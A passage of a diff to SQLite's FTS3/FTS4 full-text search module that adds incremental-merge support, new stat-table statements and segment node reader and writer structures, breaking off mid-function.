@@ -124799,10 +126197,7 @@ SQLITE_PRIVATE int sqlite3Fts3InitHashTable(
  }
#ifdef SQLITE_TEST
  if( SQLITE_OK==rc ){
-
    rc = sqlite3_create_function(db, zTest, 2, any, p, testFunc, 0, 0);
-
  }
-
  if( SQLITE_OK==rc ){
-
    rc = sqlite3_create_function(db, zTest, 3, any, p, testFunc, 0, 0);
+
    rc = sqlite3_create_function(db, zTest, -1, any, p, testFunc, 0, 0);
  }
  if( SQLITE_OK==rc ){
    rc = sqlite3_create_function(db, zTest2, 0, any, pdb, intTestFunc, 0, 0);
@@ -125081,6 +126476,9 @@ SQLITE_PRIVATE void sqlite3Fts3SimpleTokenizerModule(
/* #include <assert.h> */
/* #include <stdlib.h> */

+

+
#define FTS_MAX_APPENDABLE_HEIGHT 16
+

/*
** When full-text index nodes are loaded from disk, the buffer that they
** are loaded into has the following number of bytes of padding at the end 
@@ -125120,6 +126518,29 @@ int test_fts3_node_chunk_threshold = (4*1024)*4;
# define FTS3_NODE_CHUNK_THRESHOLD (FTS3_NODE_CHUNKSIZE*4)
#endif

+
/*
+
** The two values that may be meaningfully bound to the :1 parameter in
+
** statements SQL_REPLACE_STAT and SQL_SELECT_STAT.
+
*/
+
#define FTS_STAT_DOCTOTAL      0
+
#define FTS_STAT_INCRMERGEHINT 1
+
#define FTS_STAT_AUTOINCRMERGE 2
+

+
/*
+
** If FTS_LOG_MERGES is defined, call sqlite3_log() to report each automatic
+
** and incremental merge operation that takes place. This is used for 
+
** debugging FTS only, it should not usually be turned on in production
+
** systems.
+
*/
+
#ifdef FTS3_LOG_MERGES
+
static void fts3LogMerge(int nMerge, sqlite3_int64 iAbsLevel){
+
  sqlite3_log(SQLITE_OK, "%d-way merge from level %d", nMerge, (int)iAbsLevel);
+
}
+
#else
+
#define fts3LogMerge(x, y)
+
#endif
+

+

typedef struct PendingList PendingList;
typedef struct SegmentNode SegmentNode;
typedef struct SegmentWriter SegmentWriter;
@@ -125167,7 +126588,8 @@ struct Fts3DeferredToken {
*/
struct Fts3SegReader {
  int iIdx;                       /* Index within level, or 0x7FFFFFFF for PT */
-
  int bLookup;                    /* True for a lookup only */
+
  u8 bLookup;                     /* True for a lookup only */
+
  u8 rootOnly;                    /* True for a root-only reader */

  sqlite3_int64 iStartBlock;      /* Rowid of first leaf block to traverse */
  sqlite3_int64 iLeafEndBlock;    /* Rowid of final leaf block to traverse */
@@ -125201,7 +126623,7 @@ struct Fts3SegReader {
};

#define fts3SegReaderIsPending(p) ((p)->ppNextElem!=0)
-
#define fts3SegReaderIsRootOnly(p) ((p)->aNode==(char *)&(p)[1])
+
#define fts3SegReaderIsRootOnly(p) ((p)->rootOnly!=0)

/*
** An instance of this structure is used to create a segment b-tree in the
@@ -125281,15 +126703,22 @@ struct SegmentNode {
#define SQL_DELETE_DOCSIZE            19
#define SQL_REPLACE_DOCSIZE           20
#define SQL_SELECT_DOCSIZE            21
-
#define SQL_SELECT_DOCTOTAL           22
-
#define SQL_REPLACE_DOCTOTAL          23
+
#define SQL_SELECT_STAT               22
+
#define SQL_REPLACE_STAT              23

#define SQL_SELECT_ALL_PREFIX_LEVEL   24
#define SQL_DELETE_ALL_TERMS_SEGDIR   25
-

#define SQL_DELETE_SEGDIR_RANGE       26
-

#define SQL_SELECT_ALL_LANGID         27
+
#define SQL_FIND_MERGE_LEVEL          28
+
#define SQL_MAX_LEAF_NODE_ESTIMATE    29
+
#define SQL_DELETE_SEGDIR_ENTRY       30
+
#define SQL_SHIFT_SEGDIR_ENTRY        31
+
#define SQL_SELECT_SEGDIR             32
+
#define SQL_CHOMP_SEGDIR              33
+
#define SQL_SEGMENT_IS_APPENDABLE     34
+
#define SQL_SELECT_INDEXES            35
+
#define SQL_SELECT_MXLEVEL            36

/*
** This function is used to obtain an SQLite prepared statement handle
@@ -125318,9 +126747,9 @@ static int fts3SqlStmt(
/* 6  */  "DELETE FROM %Q.'%q_stat'",
/* 7  */  "SELECT %s WHERE rowid=?",
/* 8  */  "SELECT (SELECT max(idx) FROM %Q.'%q_segdir' WHERE level = ?) + 1",
-
/* 9  */  "INSERT INTO %Q.'%q_segments'(blockid, block) VALUES(?, ?)",
+
/* 9  */  "REPLACE INTO %Q.'%q_segments'(blockid, block) VALUES(?, ?)",
/* 10 */  "SELECT coalesce((SELECT max(blockid) FROM %Q.'%q_segments') + 1, 1)",
-
/* 11 */  "INSERT INTO %Q.'%q_segdir' VALUES(?,?,?,?,?,?)",
+
/* 11 */  "REPLACE INTO %Q.'%q_segdir' VALUES(?,?,?,?,?,?)",

          /* Return segments in order from oldest to newest.*/ 
/* 12 */  "SELECT idx, start_block, leaves_end_block, end_block, root "
@@ -125338,14 +126767,61 @@ static int fts3SqlStmt(
/* 19 */  "DELETE FROM %Q.'%q_docsize' WHERE docid = ?",
/* 20 */  "REPLACE INTO %Q.'%q_docsize' VALUES(?,?)",
/* 21 */  "SELECT size FROM %Q.'%q_docsize' WHERE docid=?",
-
/* 22 */  "SELECT value FROM %Q.'%q_stat' WHERE id=0",
-
/* 23 */  "REPLACE INTO %Q.'%q_stat' VALUES(0,?)",
+
/* 22 */  "SELECT value FROM %Q.'%q_stat' WHERE id=?",
+
/* 23 */  "REPLACE INTO %Q.'%q_stat' VALUES(?,?)",
/* 24 */  "",
/* 25 */  "",

/* 26 */ "DELETE FROM %Q.'%q_segdir' WHERE level BETWEEN ? AND ?",
/* 27 */ "SELECT DISTINCT level / (1024 * ?) FROM %Q.'%q_segdir'",

+
/* This statement is used to determine which level to read the input from
+
** when performing an incremental merge. It returns the absolute level number
+
** of the oldest level in the db that contains at least ? segments. Or,
+
** if no level in the FTS index contains more than ? segments, the statement
+
** returns zero rows.  */
+
/* 28 */ "SELECT level FROM %Q.'%q_segdir' GROUP BY level HAVING count(*)>=?"
+
         "  ORDER BY (level %% 1024) ASC LIMIT 1",
+

+
/* Estimate the upper limit on the number of leaf nodes in a new segment
+
** created by merging the oldest :2 segments from absolute level :1. See 
+
** function sqlite3Fts3Incrmerge() for details.  */
+
/* 29 */ "SELECT 2 * total(1 + leaves_end_block - start_block) "
+
         "  FROM %Q.'%q_segdir' WHERE level = ? AND idx < ?",
+

+
/* SQL_DELETE_SEGDIR_ENTRY
+
**   Delete the %_segdir entry on absolute level :1 with index :2.  */
+
/* 30 */ "DELETE FROM %Q.'%q_segdir' WHERE level = ? AND idx = ?",
+

+
/* SQL_SHIFT_SEGDIR_ENTRY
+
**   Modify the idx value for the segment with idx=:3 on absolute level :2
+
**   to :1.  */
+
/* 31 */ "UPDATE %Q.'%q_segdir' SET idx = ? WHERE level=? AND idx=?",
+

+
/* SQL_SELECT_SEGDIR
+
**   Read a single entry from the %_segdir table. The entry from absolute 
+
**   level :1 with index value :2.  */
+
/* 32 */  "SELECT idx, start_block, leaves_end_block, end_block, root "
+
            "FROM %Q.'%q_segdir' WHERE level = ? AND idx = ?",
+

+
/* SQL_CHOMP_SEGDIR
+
**   Update the start_block (:1) and root (:2) fields of the %_segdir
+
**   entry located on absolute level :3 with index :4.  */
+
/* 33 */  "UPDATE %Q.'%q_segdir' SET start_block = ?, root = ?"
+
            "WHERE level = ? AND idx = ?",
+

+
/* SQL_SEGMENT_IS_APPENDABLE
+
**   Return a single row if the segment with end_block=? is appendable. Or
+
**   no rows otherwise.  */
+
/* 34 */  "SELECT 1 FROM %Q.'%q_segments' WHERE blockid=? AND block IS NULL",
+

+
/* SQL_SELECT_INDEXES
+
**   Return the list of valid segment indexes for absolute level ?  */
+
/* 35 */  "SELECT idx FROM %Q.'%q_segdir' WHERE level=? ORDER BY 1 ASC",
+

+
/* SQL_SELECT_MXLEVEL
+
**   Return the largest relative level in the FTS index or indexes.  */
+
/* 36 */  "SELECT max( level %% 1024 ) FROM %Q.'%q_segdir'"
  };
  int rc = SQLITE_OK;
  sqlite3_stmt *pStmt;
@@ -125383,22 +126859,18 @@ static int fts3SqlStmt(
  return rc;
}

+

static int fts3SelectDocsize(
  Fts3Table *pTab,                /* FTS3 table handle */
-
  int eStmt,                      /* Either SQL_SELECT_DOCSIZE or DOCTOTAL */
  sqlite3_int64 iDocid,           /* Docid to bind for SQL_SELECT_DOCSIZE */
  sqlite3_stmt **ppStmt           /* OUT: Statement handle */
){
  sqlite3_stmt *pStmt = 0;        /* Statement requested from fts3SqlStmt() */
  int rc;                         /* Return code */

-
  assert( eStmt==SQL_SELECT_DOCSIZE || eStmt==SQL_SELECT_DOCTOTAL );
-

-
  rc = fts3SqlStmt(pTab, eStmt, &pStmt, 0);
+
  rc = fts3SqlStmt(pTab, SQL_SELECT_DOCSIZE, &pStmt, 0);
  if( rc==SQLITE_OK ){
-
    if( eStmt==SQL_SELECT_DOCSIZE ){
-
      sqlite3_bind_int64(pStmt, 1, iDocid);
-
    }
+
    sqlite3_bind_int64(pStmt, 1, iDocid);
    rc = sqlite3_step(pStmt);
    if( rc!=SQLITE_ROW || sqlite3_column_type(pStmt, 0)!=SQLITE_BLOB ){
      rc = sqlite3_reset(pStmt);
@@ -125417,7 +126889,21 @@ SQLITE_PRIVATE int sqlite3Fts3SelectDoctotal(
  Fts3Table *pTab,                /* Fts3 table handle */
  sqlite3_stmt **ppStmt           /* OUT: Statement handle */
){
-
  return fts3SelectDocsize(pTab, SQL_SELECT_DOCTOTAL, 0, ppStmt);
+
  sqlite3_stmt *pStmt = 0;
+
  int rc;
+
  rc = fts3SqlStmt(pTab, SQL_SELECT_STAT, &pStmt, 0);
+
  if( rc==SQLITE_OK ){
+
    sqlite3_bind_int(pStmt, 1, FTS_STAT_DOCTOTAL);
+
    if( sqlite3_step(pStmt)!=SQLITE_ROW
+
     || sqlite3_column_type(pStmt, 0)!=SQLITE_BLOB
+
    ){
+
      rc = sqlite3_reset(pStmt);
+
      if( rc==SQLITE_OK ) rc = FTS_CORRUPT_VTAB;
+
      pStmt = 0;
+
    }
+
  }
+
  *ppStmt = pStmt;
+
  return rc;
}

SQLITE_PRIVATE int sqlite3Fts3SelectDocsize(
@@ -125425,7 +126911,7 @@ SQLITE_PRIVATE int sqlite3Fts3SelectDocsize(
  sqlite3_int64 iDocid,           /* Docid to read size data for */
  sqlite3_stmt **ppStmt           /* OUT: Statement handle */
){
-
  return fts3SelectDocsize(pTab, SQL_SELECT_DOCSIZE, iDocid, ppStmt);
+
  return fts3SelectDocsize(pTab, iDocid, ppStmt);
}

/*
@@ -125515,10 +127001,10 @@ SQLITE_PRIVATE int sqlite3Fts3ReadLock(Fts3Table *p){
** iIndex starts at absolute level ((iLangid * (nPrefix+1) + iIndex) * 1024).
*/
static sqlite3_int64 getAbsoluteLevel(
-
  Fts3Table *p, 
-
  int iLangid, 
-
  int iIndex, 
-
  int iLevel
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  int iLangid,                    /* Language id */
+
  int iIndex,                     /* Index in p->aIndex[] */
+
  int iLevel                      /* Level of segments */
){
  sqlite3_int64 iBase;            /* First absolute level for iLangid/iIndex */
  assert( iLangid>=0 );
@@ -125529,7 +127015,6 @@ static sqlite3_int64 getAbsoluteLevel(
  return iBase + iLevel;
}

-

/*
** Set *ppStmt to a statement handle that may be used to iterate through
** all rows in the %_segdir table, from oldest to newest. If successful,
@@ -126095,6 +127580,7 @@ static int fts3AllocateSegdirIdx(
    ** if iNext is less than FTS3_MERGE_COUNT, allocate index iNext.
    */
    if( iNext>=FTS3_MERGE_COUNT ){
+
      fts3LogMerge(16, getAbsoluteLevel(p, iLangid, iIndex, iLevel));
      rc = fts3SegmentMerge(p, iLangid, iIndex, iLevel);
      *piIdx = 0;
    }else{
@@ -126142,7 +127628,7 @@ SQLITE_PRIVATE int sqlite3Fts3ReadBlock(
  int rc;                         /* Return code */

  /* pnBlob must be non-NULL. paBlob may be NULL or non-NULL. */
-
  assert( pnBlob);
+
  assert( pnBlob );

  if( p->pSegments ){
    rc = sqlite3_blob_reopen(p->pSegments, iBlockid);
@@ -126483,7 +127969,7 @@ SQLITE_PRIVATE int sqlite3Fts3MsrOvfl(
  int rc = SQLITE_OK;
  int pgsz = p->nPgsz;

-
  assert( p->bHasStat );
+
  assert( p->bFts4 );
  assert( pgsz>0 );

  for(ii=0; rc==SQLITE_OK && ii<pMsr->nSegment; ii++){
@@ -126548,7 +128034,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderNew(
  }
  memset(pReader, 0, sizeof(Fts3SegReader));
  pReader->iIdx = iAge;
-
  pReader->bLookup = bLookup;
+
  pReader->bLookup = bLookup!=0;
  pReader->iStartBlock = iStartLeaf;
  pReader->iLeafEndBlock = iEndLeaf;
  pReader->iEndBlock = iEndBlock;
@@ -126556,6 +128042,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderNew(
  if( nExtra ){
    /* The entire segment is stored in the root node. */
    pReader->aNode = (char *)&pReader[1];
+
    pReader->rootOnly = 1;
    pReader->nNode = nRoot;
    memcpy(pReader->aNode, zRoot, nRoot);
    memset(&pReader->aNode[nRoot], 0, FTS3_NODE_PADDING);
@@ -126841,6 +128328,27 @@ static int fts3WriteSegment(
  return rc;
}

+
/*
+
** Find the largest relative level number in the table. If successful, set
+
** *pnMax to this value and return SQLITE_OK. Otherwise, if an error occurs,
+
** set *pnMax to zero and return an SQLite error code.
+
*/
+
SQLITE_PRIVATE int sqlite3Fts3MaxLevel(Fts3Table *p, int *pnMax){
+
  int rc;
+
  int mxLevel = 0;
+
  sqlite3_stmt *pStmt = 0;
+

+
  rc = fts3SqlStmt(p, SQL_SELECT_MXLEVEL, &pStmt, 0);
+
  if( rc==SQLITE_OK ){
+
    if( SQLITE_ROW==sqlite3_step(pStmt) ){
+
      mxLevel = sqlite3_column_int(pStmt, 0);
+
    }
+
    rc = sqlite3_reset(pStmt);
+
  }
+
  *pnMax = mxLevel;
+
  return rc;
+
}
+

/* 
** Insert a record into the %_segdir table.
*/
@@ -127157,6 +128665,7 @@ static int fts3SegWriterAdd(
    /* The current leaf node is full. Write it out to the database. */
    rc = fts3WriteSegment(p, pWriter->iFree++, pWriter->aData, nData);
    if( rc!=SQLITE_OK ) return rc;
+
    p->nLeafAdd++;

    /* Add the current term to the interior node tree. The term added to
    ** the interior tree must:
@@ -127265,6 +128774,7 @@ static int fts3SegWriterFlush(
    rc = fts3WriteSegdir(
        p, iLevel, iIdx, 0, 0, 0, pWriter->aData, pWriter->nData);
  }
+
  p->nLeafAdd++;
  return rc;
}

@@ -127347,6 +128857,29 @@ static int fts3SegmentMaxLevel(
}

/*
+
** Delete all entries in the %_segments table associated with the segment
+
** opened with seg-reader pSeg. This function does not affect the contents
+
** of the %_segdir table.
+
*/
+
static int fts3DeleteSegment(
+
  Fts3Table *p,                   /* FTS table handle */
+
  Fts3SegReader *pSeg             /* Segment to delete */
+
){
+
  int rc = SQLITE_OK;             /* Return code */
+
  if( pSeg->iStartBlock ){
+
    sqlite3_stmt *pDelete;        /* SQL statement to delete rows */
+
    rc = fts3SqlStmt(p, SQL_DELETE_SEGMENTS_RANGE, &pDelete, 0);
+
    if( rc==SQLITE_OK ){
+
      sqlite3_bind_int64(pDelete, 1, pSeg->iStartBlock);
+
      sqlite3_bind_int64(pDelete, 2, pSeg->iEndBlock);
+
      sqlite3_step(pDelete);
+
      rc = sqlite3_reset(pDelete);
+
    }
+
  }
+
  return rc;
+
}
+

+
/*
** This function is used after merging multiple segments into a single large
** segment to delete the old, now redundant, segment b-trees. Specifically,
** it:
@@ -127368,19 +128901,12 @@ static int fts3DeleteSegdir(
  Fts3SegReader **apSegment,      /* Array of SegReader objects */
  int nReader                     /* Size of array apSegment */
){
-
  int rc;                         /* Return Code */
+
  int rc = SQLITE_OK;             /* Return Code */
  int i;                          /* Iterator variable */
-
  sqlite3_stmt *pDelete;          /* SQL statement to delete rows */
+
  sqlite3_stmt *pDelete = 0;      /* SQL statement to delete rows */

-
  rc = fts3SqlStmt(p, SQL_DELETE_SEGMENTS_RANGE, &pDelete, 0);
  for(i=0; rc==SQLITE_OK && i<nReader; i++){
-
    Fts3SegReader *pSegment = apSegment[i];
-
    if( pSegment->iStartBlock ){
-
      sqlite3_bind_int64(pDelete, 1, pSegment->iStartBlock);
-
      sqlite3_bind_int64(pDelete, 2, pSegment->iEndBlock);
-
      sqlite3_step(pDelete);
-
      rc = sqlite3_reset(pDelete);
-
    }
+
    rc = fts3DeleteSegment(p, apSegment[i]);
  }
  if( rc!=SQLITE_OK ){
    return rc;
@@ -127956,11 +129482,28 @@ static int fts3SegmentMerge(
SQLITE_PRIVATE int sqlite3Fts3PendingTermsFlush(Fts3Table *p){
  int rc = SQLITE_OK;
  int i;
+
        
  for(i=0; rc==SQLITE_OK && i<p->nIndex; i++){
    rc = fts3SegmentMerge(p, p->iPrevLangid, i, FTS3_SEGCURSOR_PENDING);
    if( rc==SQLITE_DONE ) rc = SQLITE_OK;
  }
  sqlite3Fts3PendingTermsClear(p);
+

+
  /* Determine the auto-incr-merge setting if unknown.  If enabled,
+
  ** estimate the number of leaf blocks of content to be written
+
  */
+
  if( rc==SQLITE_OK && p->bHasStat
+
   && p->bAutoincrmerge==0xff && p->nLeafAdd>0
+
  ){
+
    sqlite3_stmt *pStmt = 0;
+
    rc = fts3SqlStmt(p, SQL_SELECT_STAT, &pStmt, 0);
+
    if( rc==SQLITE_OK ){
+
      sqlite3_bind_int(pStmt, 1, FTS_STAT_AUTOINCRMERGE);
+
      rc = sqlite3_step(pStmt);
+
      p->bAutoincrmerge = (rc==SQLITE_ROW && sqlite3_column_int(pStmt, 0));
+
      rc = sqlite3_reset(pStmt);
+
    }
+
  }
  return rc;
}

@@ -128071,12 +129614,13 @@ static void fts3UpdateDocTotals(
    return;
  }
  pBlob = (char*)&a[nStat];
-
  rc = fts3SqlStmt(p, SQL_SELECT_DOCTOTAL, &pStmt, 0);
+
  rc = fts3SqlStmt(p, SQL_SELECT_STAT, &pStmt, 0);
  if( rc ){
    sqlite3_free(a);
    *pRC = rc;
    return;
  }
+
  sqlite3_bind_int(pStmt, 1, FTS_STAT_DOCTOTAL);
  if( sqlite3_step(pStmt)==SQLITE_ROW ){
    fts3DecodeIntArray(nStat, a,
         sqlite3_column_blob(pStmt, 0),
@@ -128084,7 +129628,12 @@ static void fts3UpdateDocTotals(
  }else{
    memset(a, 0, sizeof(u32)*(nStat) );
  }
-
  sqlite3_reset(pStmt);
+
  rc = sqlite3_reset(pStmt);
+
  if( rc!=SQLITE_OK ){
+
    sqlite3_free(a);
+
    *pRC = rc;
+
    return;
+
  }
  if( nChng<0 && a[0]<(u32)(-nChng) ){
    a[0] = 0;
  }else{
@@ -128100,13 +129649,14 @@ static void fts3UpdateDocTotals(
    a[i+1] = x;
  }
  fts3EncodeIntArray(nStat, a, pBlob, &nBlob);
-
  rc = fts3SqlStmt(p, SQL_REPLACE_DOCTOTAL, &pStmt, 0);
+
  rc = fts3SqlStmt(p, SQL_REPLACE_STAT, &pStmt, 0);
  if( rc ){
    sqlite3_free(a);
    *pRC = rc;
    return;
  }
-
  sqlite3_bind_blob(pStmt, 1, pBlob, nBlob, SQLITE_STATIC);
+
  sqlite3_bind_int(pStmt, 1, FTS_STAT_DOCTOTAL);
+
  sqlite3_bind_blob(pStmt, 2, pBlob, nBlob, SQLITE_STATIC);
  sqlite3_step(pStmt);
  *pRC = sqlite3_reset(pStmt);
  sqlite3_free(a);
@@ -128211,7 +129761,7 @@ static int fts3DoRebuild(Fts3Table *p){
        }
      }
    }
-
    if( p->bHasStat ){
+
    if( p->bFts4 ){
      fts3UpdateDocTotals(&rc, p, aSzIns, aSzDel, nEntry);
    }
    sqlite3_free(aSz);
@@ -128227,6 +129777,1687 @@ static int fts3DoRebuild(Fts3Table *p){
  return rc;
}

+

+
/*
+
** This function opens a cursor used to read the input data for an 
+
** incremental merge operation. Specifically, it opens a cursor to scan
+
** the oldest nSeg segments (idx=0 through idx=(nSeg-1)) in absolute 
+
** level iAbsLevel.
+
*/
+
static int fts3IncrmergeCsr(
+
  Fts3Table *p,                   /* FTS3 table handle */
+
  sqlite3_int64 iAbsLevel,        /* Absolute level to open */
+
  int nSeg,                       /* Number of segments to merge */
+
  Fts3MultiSegReader *pCsr        /* Cursor object to populate */
+
){
+
  int rc;                         /* Return Code */
+
  sqlite3_stmt *pStmt = 0;        /* Statement used to read %_segdir entry */  
+
  int nByte;                      /* Bytes allocated at pCsr->apSegment[] */
+

+
  /* Allocate space for the Fts3MultiSegReader.aCsr[] array */
+
  memset(pCsr, 0, sizeof(*pCsr));
+
  nByte = sizeof(Fts3SegReader *) * nSeg;
+
  pCsr->apSegment = (Fts3SegReader **)sqlite3_malloc(nByte);
+

+
  if( pCsr->apSegment==0 ){
+
    rc = SQLITE_NOMEM;
+
  }else{
+
    memset(pCsr->apSegment, 0, nByte);
+
    rc = fts3SqlStmt(p, SQL_SELECT_LEVEL, &pStmt, 0);
+
  }
+
  if( rc==SQLITE_OK ){
+
    int i;
+
    int rc2;
+
    sqlite3_bind_int64(pStmt, 1, iAbsLevel);
+
    assert( pCsr->nSegment==0 );
+
    for(i=0; rc==SQLITE_OK && sqlite3_step(pStmt)==SQLITE_ROW && i<nSeg; i++){
+
      rc = sqlite3Fts3SegReaderNew(i, 0,
+
          sqlite3_column_int64(pStmt, 1),        /* segdir.start_block */
+
          sqlite3_column_int64(pStmt, 2),        /* segdir.leaves_end_block */
+
          sqlite3_column_int64(pStmt, 3),        /* segdir.end_block */
+
          sqlite3_column_blob(pStmt, 4),         /* segdir.root */
+
          sqlite3_column_bytes(pStmt, 4),        /* segdir.root */
+
          &pCsr->apSegment[i]
+
      );
+
      pCsr->nSegment++;
+
    }
+
    rc2 = sqlite3_reset(pStmt);
+
    if( rc==SQLITE_OK ) rc = rc2;
+
  }
+

+
  return rc;
+
}
+

+
typedef struct IncrmergeWriter IncrmergeWriter;
+
typedef struct NodeWriter NodeWriter;
+
typedef struct Blob Blob;
+
typedef struct NodeReader NodeReader;
+

+
/*
+
** An instance of the following structure is used as a dynamic buffer
+
** to build up nodes or other blobs of data in.
+
**
+
** The function blobGrowBuffer() is used to extend the allocation.
+
*/
+
struct Blob {
+
  char *a;                        /* Pointer to allocation */
+
  int n;                          /* Number of valid bytes of data in a[] */
+
  int nAlloc;                     /* Allocated size of a[] (nAlloc>=n) */
+
};
+

+
/*
+
** This structure is used to build up buffers containing segment b-tree 
+
** nodes (blocks).
+
*/
+
struct NodeWriter {
+
  sqlite3_int64 iBlock;           /* Current block id */
+
  Blob key;                       /* Last key written to the current block */
+
  Blob block;                     /* Current block image */
+
};
+

+
/*
+
** An object of this type contains the state required to create or append
+
** to an appendable b-tree segment.
+
*/
+
struct IncrmergeWriter {
+
  int nLeafEst;                   /* Space allocated for leaf blocks */
+
  int nWork;                      /* Number of leaf pages flushed */
+
  sqlite3_int64 iAbsLevel;        /* Absolute level of input segments */
+
  int iIdx;                       /* Index of *output* segment in iAbsLevel+1 */
+
  sqlite3_int64 iStart;           /* Block number of first allocated block */
+
  sqlite3_int64 iEnd;             /* Block number of last allocated block */
+
  NodeWriter aNodeWriter[FTS_MAX_APPENDABLE_HEIGHT];
+
};
+

+
/*
+
** An object of the following type is used to read data from a single
+
** FTS segment node. See the following functions:
+
**
+
**     nodeReaderInit()
+
**     nodeReaderNext()
+
**     nodeReaderRelease()
+
*/
+
struct NodeReader {
+
  const char *aNode;
+
  int nNode;
+
  int iOff;                       /* Current offset within aNode[] */
+

+
  /* Output variables. Containing the current node entry. */
+
  sqlite3_int64 iChild;           /* Pointer to child node */
+
  Blob term;                      /* Current term */
+
  const char *aDoclist;           /* Pointer to doclist */
+
  int nDoclist;                   /* Size of doclist in bytes */
+
};
+

+
/*
+
** If *pRc is not SQLITE_OK when this function is called, it is a no-op.
+
** Otherwise, if the allocation at pBlob->a is not already at least nMin
+
** bytes in size, extend (realloc) it to be so.
+
**
+
** If an OOM error occurs, set *pRc to SQLITE_NOMEM and leave pBlob->a
+
** unmodified. Otherwise, if the allocation succeeds, update pBlob->nAlloc
+
** to reflect the new size of the pBlob->a[] buffer.
+
*/
+
static void blobGrowBuffer(Blob *pBlob, int nMin, int *pRc){
+
  if( *pRc==SQLITE_OK && nMin>pBlob->nAlloc ){
+
    int nAlloc = nMin;
+
    char *a = (char *)sqlite3_realloc(pBlob->a, nAlloc);
+
    if( a ){
+
      pBlob->nAlloc = nAlloc;
+
      pBlob->a = a;
+
    }else{
+
      *pRc = SQLITE_NOMEM;
+
    }
+
  }
+
}
+

+
/*
+
** Attempt to advance the node-reader object passed as the first argument to
+
** the next entry on the node. 
+
**
+
** Return an error code if an error occurs (SQLITE_NOMEM is possible). 
+
** Otherwise return SQLITE_OK. If there is no next entry on the node
+
** (e.g. because the current entry is the last) set NodeReader->aNode to
+
** NULL to indicate EOF. Otherwise, populate the NodeReader structure output 
+
** variables for the new entry.
+
*/
+
static int nodeReaderNext(NodeReader *p){
+
  int bFirst = (p->term.n==0);    /* True for first term on the node */
+
  int nPrefix = 0;                /* Bytes to copy from previous term */
+
  int nSuffix = 0;                /* Bytes to append to the prefix */
+
  int rc = SQLITE_OK;             /* Return code */
+

+
  assert( p->aNode );
+
  if( p->iChild && bFirst==0 ) p->iChild++;
+
  if( p->iOff>=p->nNode ){
+
    /* EOF */
+
    p->aNode = 0;
+
  }else{
+
    if( bFirst==0 ){
+
      p->iOff += sqlite3Fts3GetVarint32(&p->aNode[p->iOff], &nPrefix);
+
    }
+
    p->iOff += sqlite3Fts3GetVarint32(&p->aNode[p->iOff], &nSuffix);
+

+
    blobGrowBuffer(&p->term, nPrefix+nSuffix, &rc);
+
    if( rc==SQLITE_OK ){
+
      memcpy(&p->term.a[nPrefix], &p->aNode[p->iOff], nSuffix);
+
      p->term.n = nPrefix+nSuffix;
+
      p->iOff += nSuffix;
+
      if( p->iChild==0 ){
+
        p->iOff += sqlite3Fts3GetVarint32(&p->aNode[p->iOff], &p->nDoclist);
+
        p->aDoclist = &p->aNode[p->iOff];
+
        p->iOff += p->nDoclist;
+
      }
+
    }
+
  }
+

+
  assert( p->iOff<=p->nNode );
+

+
  return rc;
+
}
+

+
/*
+
** Release all dynamic resources held by node-reader object *p.
+
*/
+
static void nodeReaderRelease(NodeReader *p){
+
  sqlite3_free(p->term.a);
+
}
+

+
/*
+
** Initialize a node-reader object to read the node in buffer aNode/nNode.
+
**
+
** If successful, SQLITE_OK is returned and the NodeReader object set to 
+
** point to the first entry on the node (if any). Otherwise, an SQLite
+
** error code is returned.
+
*/
+
static int nodeReaderInit(NodeReader *p, const char *aNode, int nNode){
+
  memset(p, 0, sizeof(NodeReader));
+
  p->aNode = aNode;
+
  p->nNode = nNode;
+

+
  /* Figure out if this is a leaf or an internal node. */
+
  if( p->aNode[0] ){
+
    /* An internal node. */
+
    p->iOff = 1 + sqlite3Fts3GetVarint(&p->aNode[1], &p->iChild);
+
  }else{
+
    p->iOff = 1;
+
  }
+

+
  return nodeReaderNext(p);
+
}
+

+
/*
+
** This function is called while writing an FTS segment each time a leaf o
+
** node is finished and written to disk. The key (zTerm/nTerm) is guaranteed
+
** to be greater than the largest key on the node just written, but smaller
+
** than or equal to the first key that will be written to the next leaf
+
** node.
+
**
+
** The block id of the leaf node just written to disk may be found in
+
** (pWriter->aNodeWriter[0].iBlock) when this function is called.
+
*/
+
static int fts3IncrmergePush(
+
  Fts3Table *p,                   /* Fts3 table handle */
+
  IncrmergeWriter *pWriter,       /* Writer object */
+
  const char *zTerm,              /* Term to write to internal node */
+
  int nTerm                       /* Bytes at zTerm */
+
){
+
  sqlite3_int64 iPtr = pWriter->aNodeWriter[0].iBlock;
+
  int iLayer;
+

+
  assert( nTerm>0 );
+
  for(iLayer=1; ALWAYS(iLayer<FTS_MAX_APPENDABLE_HEIGHT); iLayer++){
+
    sqlite3_int64 iNextPtr = 0;
+
    NodeWriter *pNode = &pWriter->aNodeWriter[iLayer];
+
    int rc = SQLITE_OK;
+
    int nPrefix;
+
    int nSuffix;
+
    int nSpace;
+

+
    /* Figure out how much space the key will consume if it is written to
+
    ** the current node of layer iLayer. Due to the prefix compression, 
+
    ** the space required changes depending on which node the key is to
+
    ** be added to.  */
+
    nPrefix = fts3PrefixCompress(pNode->key.a, pNode->key.n, zTerm, nTerm);
+
    nSuffix = nTerm - nPrefix;
+
    nSpace  = sqlite3Fts3VarintLen(nPrefix);
+
    nSpace += sqlite3Fts3VarintLen(nSuffix) + nSuffix;
+

+
    if( pNode->key.n==0 || (pNode->block.n + nSpace)<=p->nNodeSize ){ 
+
      /* If the current node of layer iLayer contains zero keys, or if adding
+
      ** the key to it will not cause it to grow to larger than nNodeSize 
+
      ** bytes in size, write the key here.  */
+

+
      Blob *pBlk = &pNode->block;
+
      if( pBlk->n==0 ){
+
        blobGrowBuffer(pBlk, p->nNodeSize, &rc);
+
        if( rc==SQLITE_OK ){
+
          pBlk->a[0] = (char)iLayer;
+
          pBlk->n = 1 + sqlite3Fts3PutVarint(&pBlk->a[1], iPtr);
+
        }
+
      }
+
      blobGrowBuffer(pBlk, pBlk->n + nSpace, &rc);
+
      blobGrowBuffer(&pNode->key, nTerm, &rc);
+

+
      if( rc==SQLITE_OK ){
+
        if( pNode->key.n ){
+
          pBlk->n += sqlite3Fts3PutVarint(&pBlk->a[pBlk->n], nPrefix);
+
        }
+
        pBlk->n += sqlite3Fts3PutVarint(&pBlk->a[pBlk->n], nSuffix);
+
        memcpy(&pBlk->a[pBlk->n], &zTerm[nPrefix], nSuffix);
+
        pBlk->n += nSuffix;
+

+
        memcpy(pNode->key.a, zTerm, nTerm);
+
        pNode->key.n = nTerm;
+
      }
+
    }else{
+
      /* Otherwise, flush the the current node of layer iLayer to disk.
+
      ** Then allocate a new, empty sibling node. The key will be written
+
